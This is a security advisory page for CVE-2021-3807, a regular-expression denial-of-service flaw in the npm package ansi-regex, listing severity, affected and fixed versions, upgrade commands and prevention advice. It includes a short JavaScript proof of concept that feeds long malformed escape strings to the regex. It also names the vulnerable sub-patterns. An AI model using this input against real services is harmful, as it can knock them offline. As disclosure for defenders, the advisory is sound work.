GHSA-93q8-gq69-wqmw CVE-2021-3807

Inefficient Regular Expression Complexity in chalk/ansi-regex

High npm

Severity: 7.5 / 10; High · CVSS 3.1
Exploit chance (EPSS): 3.55%; Chance of exploitation in the next 30 days. Higher than 89.31% of scored vulnerabilities.
Known exploited: No; Not in CISA's catalog
Weakness: CWE-1333 Inefficient Regular Expression Complexity; CWE-697 Incorrect Comparison
Fix: 6.0.1; Upgrade ansi-regex to this version or later

Description

ansi-regex is vulnerable to Inefficient Regular Expression Complexity which could lead to a denial of service when parsing invalid ANSI escape codes.

Proof of Concept

import ansiRegex from 'ansi-regex';
for(var i = 1; i <= 50000; i++) {
    var time = Date.now();
    var attack_str = "\u001B["+";".repeat(i*10000);
    ansiRegex().test(attack_str)
    var time_cost = Date.now() - time;
    console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
}

The ReDOS is mainly due to the sub-patterns [[\\]()#;?]* and (?:;[-a-zA-Z\\d\\/#&.:=?%@~_]*)*

Affected versions

npm

Package	Vulnerable	Fixed in
ansi-regex	`>= 6.0.0, < 6.0.1`	`6.0.1`
ansi-regex	`>= 5.0.0, < 5.0.1`	`5.0.1`
ansi-regex	`>= 4.0.0, < 4.1.1`	`4.1.1`
ansi-regex	`>= 3.0.0, < 3.0.1`	`3.0.1`

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

ansi-regex npm → `6.0.1`

npm

npm install ansi-regex@6.0.1

yarn

yarn add ansi-regex@6.0.1

pnpm

pnpm add ansi-regex@6.0.1

Severity breakdown

CVSS 3.1 7.5

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Attack vector: Network
Attack complexity: Low
Privileges required: None
User interaction: None
Scope: Unchanged
Confidentiality: None
Integrity: None
Availability: High

Weakness

CWE-1333: Inefficient Regular Expression Complexity

The product uses a regular expression with a worst-case computational complexity that is inefficient and possibly exponential.

How to prevent it

Architecture and Design: Use regular expressions that do not support backtracking, e.g. by removing nested quantifiers.
System Configuration: Set backtracking limits in the configuration of the regular expression implementation, such as PHP's pcre.backtrack_limit. Also consider limits on execution time for the process.
Implementation: Do not use regular expressions with untrusted input. If regular expressions must be used, avoid using backtracking in the expression.
Implementation: Limit the length of the input that the regular expression will process.

CWE-697: Incorrect Comparison

The product compares two entities in a security-relevant context, but the comparison is incorrect.

References

Advisories

Packages

github.com/chalk/ansi-regex

Timeline

Sep 17, 2021 Published
Oct 8, 2026 Last updated by the source
Oct 31, 2026 Latest EPSS score

Advisory	Severity	Why it's related
MAL-2025-46966 Malicious code in ansi-regex (npm)	Not rated yet	Also affects ansi-regex
GHSA-7wch-p9px-956x Forge: Regular expression denial of service in PEM decoding (pem.decode)	High	Same weakness, CWE-1333
GHSA-xcq7-p3pf-p88h OpenTelemetry Python: Unbounded tracestate parsing in opentelemetry-api	Medium	Same weakness, CWE-1333
GHSA-xgh8-jp6q-p5x8 Pillow: ReDoS in XbmImagePlugin: 512-byte file stalls Image.open() for minutes	High	Same weakness, CWE-1333
GHSA-rxp7-6hxx-x8q5 ip-address: Address6 matches a zone identifier in quadratic time ahead of its length limit, allowing a single long string to stall the process	Medium	Same weakness, CWE-1333
GHSA-r925-mgvr-h9cc Symfony: ReDoS in HeaderUtils::split() Reachable Through the Cache-Control Request Header	High	Same weakness, CWE-1333
GHSA-4ffr-jq9g-5ffx Nodemailer: Quadratic backtracking in SMTP AUTH mechanism detection regexes allows pre-auth remote denial of service	High	Same weakness, CWE-1333
GHSA-m64x-33q8-m5h7 GitPython parse_actor_and_date() is vulnerable to quadratic backtracking on malformed identity lines	High	Same weakness, CWE-1333

Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor